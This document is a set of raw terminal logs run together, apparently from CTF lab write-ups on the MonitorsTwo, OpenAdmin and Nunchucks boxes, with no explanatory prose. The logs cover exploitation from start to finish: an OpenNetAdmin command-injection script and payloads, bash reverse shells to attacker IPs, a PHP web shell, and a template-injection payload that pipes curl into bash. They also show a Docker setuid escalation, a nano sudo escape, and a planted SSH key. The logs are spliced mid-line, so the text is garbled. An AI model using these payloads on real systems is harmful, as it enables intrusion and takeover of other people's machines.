marcus@monitorstwo:/var/lib/docker$ ls /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html
ls: cannot access '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/var/www/html': No such file or directory
marcus@monitorstwo:/var/lib/docker$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/var/www/html
about.php automation_tree_rules.php color.php graph_image.php help.php log poller.php rrdcleaner.php templates_import.php
aggregate_graphs.php boost_rrdupdate.php color_templates_items.php graph_json.php host.php logout.php poller_realtime.php scripts tree.php
aggregate_items.php cache color_templates.php graph.php host_templates.php managers.php poller_recovery.php script_server.php user_admin.php
aggregate_templates.php cactid.php data_debug.php graph_realtime.php images mibs poller_reports.php service user_domains.php
auth_changepassword.php cacti.sql data_input.php graphs_items.php include permission_denied.php pollers.php service_check.php user_group_admin.php
auth_login.php cdef.php data_queries.php graphs_new.php index.php plugins poller_spikekill.php settings.php utilities.php
auth_profile.php CHANGELOG data_source_profiles.php graphs.php install plugins.php README.md sites.php vdef.php
automation_devices.php cli data_sources.php graph_templates_inputs.php lib poller_automation.php remote_agent.php snmpagent_mibcachechild.php
automation_graph_rules.php clog.php data_templates.php graph_templates_items.php LICENSE poller_boost.php reports_admin.php snmpagent_mibcache.php
automation_networks.php clog_user.php docs graph_templates.php link.php poller_commands.php reports_user.php snmpagent_persist.php
automation_snmp.php cmd.php formats graph_view.php links.php poller_dsstats.php resource spikekill.php
automation_templates.php cmd_realtime.php gprint_presets.php graph_xport.php locales poller_maintenance.php rra templates_export.php
marcus@monitorstwo:/var/lib/docker$ marcus@monitorstwo:/var/lib/docker$ echo 'gzzcoo' > /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/gzzcoo.txt
marcus@monitorstwo:/var/lib/docker$ cat /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/gzzcoo.txt
gzzcooroot@50bca5e748b0:/# ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
root@50bca5e748b0:/# chmod u+s /bin/bash
root@50bca5e748b0:/# ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bashmarcus@monitorstwo:/var/lib/docker$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root
bash-5.1# hostname -I
10.10.11.211 172.17.0.1 172.18.0.1 172.19.0.1 dead:beef::250:56ff:fe94:bcf5
bash-5.1# cat /root/root.txt
cb9953909ed********************marcus@monitorstwo:/tmp$ ./exploit.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell
bash-5.1# exit
marcus@monitorstwo:/tmp$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
cb9953909ed*************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.171 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 05:41 CET
Initiating SYN Stealth Scan at 05:41
Scanning 10.10.10.171 [65535 ports]
Discovered open port 22/tcp on 10.10.10.171
Discovered open port 80/tcp on 10.10.10.171
Completed SYN Stealth Scan at 05:42, 29.99s elapsed (65535 total ports)
Nmap scan report for 10.10.10.171
Host is up, received user-set (0.078s latency).
Scanned at 2025-03-07 05:41:34 CET for 30s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 30.10 seconds
Raw packets sent: 75682 (3.330MB) | Rcvd: 75480 (3.020MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.171
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.10.171 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 05:42 CET
Nmap scan report for 10.10.10.171
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 105.01 ms 10.10.14.1
2 102.84 ms 10.10.10.171
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.41 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ gobuster dir -u http://10.10.10.171/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 503,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]❯ whatweb -a 3 http://10.10.10.171/ona/
http://10.10.10.171/ona/ [200 OK] Apache[2.4.29], Cookies[ONA_SESSION_ID,ona_context_name], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.171], Script[javascript,text/javascript], Title[OpenNetAdmin :: 0wn Your Network]❯ searchsploit OpenNetAdmin
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done❯ curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping" http://10.10.10.171/ona/
<?xml version="1.0" encoding="utf-8" ?><xjx><cmd n="js"><![CDATA[removeElement('tooltips_results');]]></cmd><cmd n="ce" t="window_container" p="tooltips_results"><![CDATA[div]]></cmd><cmd n="js"><![CDATA[initialize_window('tooltips_results');el('tooltips_results').style.display = 'none';el('tooltips_results').style.visibility = 'hidden';el('tooltips_results').onclick = function(ev) { focus_window(this.id); };]]></cmd><cmd n="as" t="tooltips_results" p="innerHTML"><![CDATA[
...[snip]...
<pre style="padding: 4px;font-family: monospace;">uid=33(www-data) gid=33(www-data) groups=33(www-data)❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;/bin/bash -c 'bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261'&xajaxargs[]=ping" http://10.10.10.171/ona/❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 46856
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ ❯ git clone https://github.com/sec-it/OpenNetAdmin-RCE; cd OpenNetAdmin-RCE
Clonando en 'OpenNetAdmin-RCE'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (10/10), 4.78 KiB | 4.78 MiB/s, listo.
Resolviendo deltas: 100% (2/2), listo.❯ nc -nlvp 443
listening on [any] 443 ...❯ ruby exploit.rb exploit http://10.10.10.171/ona/ '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 46872
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@openadmin:/opt/ona/www$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
www-data@openadmin:/opt/ona/www$ export TERM=xterm
www-data@openadmin:/opt/ona/www$ export SHELL=bash
www-data@openadmin:/opt/ona/www$ stty rows 46 columns 230www-data@openadmin:/opt/ona/www/local/config$ ls -l
total 8
-rw-r--r-- 1 www-data www-data 426 Nov 21 2019 database_settings.inc.php
-rw-rw-r-- 1 www-data www-data 1201 Jan 3 2018 motd.txt.example
-rw-r--r-- 1 www-data www-data 0 Nov 21 2019 run_installer
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);❯ sshpass -p 'n1nj4W4rri0R!' ssh jimmy@10.10.10.171
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 7 04:58:48 UTC 2025
System load: 0.19 Processes: 177
Usage of /: 31.2% of 7.81GB Users logged in: 0
Memory usage: 10% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ jimmy@openadmin:/home$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>❯ ls -l chisel
.rwxr-xr-x kali kali 8.9 MB Sun Feb 16 03:43:15 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...jimmy@openadmin:/tmp$ wget 10.10.14.2/chisel; chmod +x chisel
--2025-03-07 05:50:16-- http://10.10.14.2/chisel
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[==========================================>] 8.94M 666KB/s in 15s
2025-03-07 05:50:31 (623 KB/s) - ‘chisel’ saved [9371800/9371800]
jimmy@openadmin:/tmp$ ❯ ./chisel server --reverse -p 1234
2025/03/07 06:49:43 server: Reverse tunnelling enabled
2025/03/07 06:49:43 server: Fingerprint QXtg34BSTLW+VL8Zau8gxZzNeq/nc/PIJyDObTACqS8=
2025/03/07 06:49:43 server: Listening on http://0.0.0.0:1234jimmy@openadmin:/tmp$ ./chisel client 10.10.14.2:1234 R:52846:127.0.0.1:52846
2025/03/07 05:52:03 client: Connecting to ws://10.10.14.2:1234
2025/03/07 05:52:05 client: Connected (Latency 276.304265ms)jimmy@openadmin:/var/www/internal$ ls -la
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 .
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php
jimmy@openadmin:/var/www/internal$ echo -e '<?php \n system($_GET["cmd"]); \n ?>' > gzzcoo.php
jimmy@openadmin:/var/www/internal$ cat gzzcoo.php
<?php
system($_GET["cmd"]);
?>❯ curl -s 'http://127.0.0.1:52846/gzzcoo.php?cmd=id'
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)❯ nc -nlvp 443
listening on [any] 443 ...❯ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"' | jq -sRr @uri
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.2%2F443%200%3E%261%22
❯ curl -s 'http://127.0.0.1:52846/gzzcoo.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.2%2F443%200%3E%261%22'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.171] 47666
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
joanna@openadmin:/var/www/internal$ whoami
joanna
joanna@openadmin:/var/www/internal$ cat /home/joanna/user.txt
7bd9************************oanna@openadmin:/var/www/internal$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
joanna@openadmin:/var/www/internal$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
joanna@openadmin:/var/www/internal$ export TERM=xterm
joanna@openadmin:/var/www/internal$ export SHELL=bash
joanna@openadmin:/var/www/internal$ stty rows 46 columns 230joanna@openadmin:/var/www/internal$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: error initializing audit plugin sudoers_audit❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519):
Enter passphrase for "/home/kali/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_ed25519
Your public key has been saved in /home/kali/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:3MgDLLifHsarN8CwqLu/oV1aNKmquqjHOVazTbHYf+M kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| |
| . . |
| . . o |
|. . o.+ o |
|.+. +o oS . |
|o o=+o+ . |
|..o+O= . |
|o+*B+o. . o |
|#B*=o. oE. |
+----[SHA256]-----+
❯ cat /home/kali/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB30SsUFMFi9+gBGbURaDWPr6LcsZ7seEWZgAtRqGLv9 kali@kalijoanna@openadmin:/var/www/internal$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB30SsUFMFi9+gBGbURaDWPr6LcsZ7seEWZgAtRqGLv9 kali@kali' > /home/joanna/.ssh/authorized_keys
joanna@openadmin:/var/www/internal$ cat /home/joanna/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB30SsUFMFi9+gBGbURaDWPr6LcsZ7seEWZgAtRqGLv9 kali@kali❯ ssh joanna@10.10.10.171
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
ED25519 key fingerprint is SHA256:wrS/uECrHJqacx68XwnuvI9W+bbKl+rKdSh799gacqo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 7 06:00:55 UTC 2025
System load: 0.0 Processes: 186
Usage of /: 31.4% of 7.81GB Users logged in: 1
Memory usage: 11% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ export TERM=xtermjoanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv❯ searchbins -b nano -f sudo
[+] Binary: nano
================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/nano/#sudo]
| sudo nano
| ^R^X
| reset; sh 1>&0 2>&0joanna@openadmin:~$ sudo /bin/nano /opt/privreset; sh 1>&0 2>&0# whoami
root
# /bin/bash
root@openadmin:/home/joanna# cat /root/root.txt
9452****************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.122 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 22:29 CET
Initiating SYN Stealth Scan at 22:29
Scanning 10.10.11.122 [65535 ports]
Discovered open port 22/tcp on 10.10.11.122
Discovered open port 80/tcp on 10.10.11.122
Discovered open port 443/tcp on 10.10.11.122
Completed SYN Stealth Scan at 22:29, 12.55s elapsed (65535 total ports)
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.051s latency).
Scanned at 2025-02-16 22:29:35 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65542 (2.622MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.122
[*] Open ports: 22,80,443
[*] Ports copied to clipboard❯ nmap -sCV -p22,80,443 10.10.11.122 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-16 22:31 CET
Nmap scan report for nunchucks.htb (10.10.11.122)
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| tls-alpn:
|_ http/1.1
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 104.88 ms 10.10.16.1
2 30.95 ms nunchucks.htb (10.10.11.122)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.45 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep nunchucks
10.10.11.122 nunchucks.htb ❯ whatweb https://nunchucks.htb
https://nunchucks.htb [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[support@nunchucks.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nunchucks - Landing Page], X-Powered-By[Express], nginx[1.18.0]❯ feroxbuster -u https://nunchucks.htb/ -t 200 -C 500,502,404 -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://nunchucks.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 3l 6w 45c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 10l 16w 179c https://nunchucks.htb/assets => https://nunchucks.htb/assets/
200 GET 183l 662w 9172c https://nunchucks.htb/Login
200 GET 250l 1863w 19134c https://nunchucks.htb/privacy
200 GET 245l 1737w 17753c https://nunchucks.htb/terms
200 GET 187l 683w 9488c https://nunchucks.htb/signup
200 GET 12l 78w 4155c https://nunchucks.htb/assets/images/customer-logo-1.png
200 GET 125l 669w 53396c https://nunchucks.htb/assets/images/introduction.jpg❯ wfuzz --hh=30587 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.nunchucks.htb" https://nunchucks.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nunchucks.htb/
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000194: 200 101 L 259 W 4028 Ch "store" ❯ cat /etc/hosts | grep nunchucks
10.10.11.122 nunchucks.htb store.nunchucks.htbbas❯ whatweb https://store.nunchucks.htb/
https://store.nunchucks.htb/ [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery[1.10.2], Script[text/javascript], Title[Nunchucks Homepage], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]❯ feroxbuster -u https://store.nunchucks.htb/ -t 200 -C 500,502,404 -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://store.nunchucks.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 3l 6w 45c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 10l 16w 179c https://store.nunchucks.htb/assets => https://store.nunchucks.htb/assets/
200 GET 7l 15w 245c https://store.nunchucks.htb/assets/css/fonts.css
200 GET 14l 30w 424c https://store.nunchucks.htb/assets/js/main.js
200 GET 20l 82w 6403c https://store.nunchucks.htb/assets/images/flags/GB.png
200 GET 16l 82w 6002c https://store.nunchucks.htb/assets/images/flags/US.png
200 GET 1566l 2676w 25180c https://store.nunchucks.htb/assets/css/font-awesome.css{{7*7}}${{<%[%'"}}%\.{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('which curl')\")()}}❯ cat shell.sh
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nc -nlvp 443
listening on [any] 443 ...{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('curl http://10.10.16.3/shell.sh|bash')\")()}}❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.122] 37010
bash: cannot set terminal process group (993): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt
d967f92377f2*********************david@nunchucks:/var/www/store.nunchucks$ script /dev/null -c bash
Script started, file is /dev/null
david@nunchucks:/var/www/store.nunchucks$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
david@nunchucks:/var/www/store.nunchucks$ export TERM=xterm
david@nunchucks:/var/www/store.nunchucks$ export SHELL=bash
david@nunchucks:/var/www/store.nunchucks$ stty rows 46 columns 230david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@nunchucks:/var/www/store.nunchucks$ sudo -l
[sudo] password for david: david@nunchucks:/var/www/store.nunchucks$ find / -perm -4000 2>/dev/null
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
david@nunchucks:/var/www/store.nunchucks$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
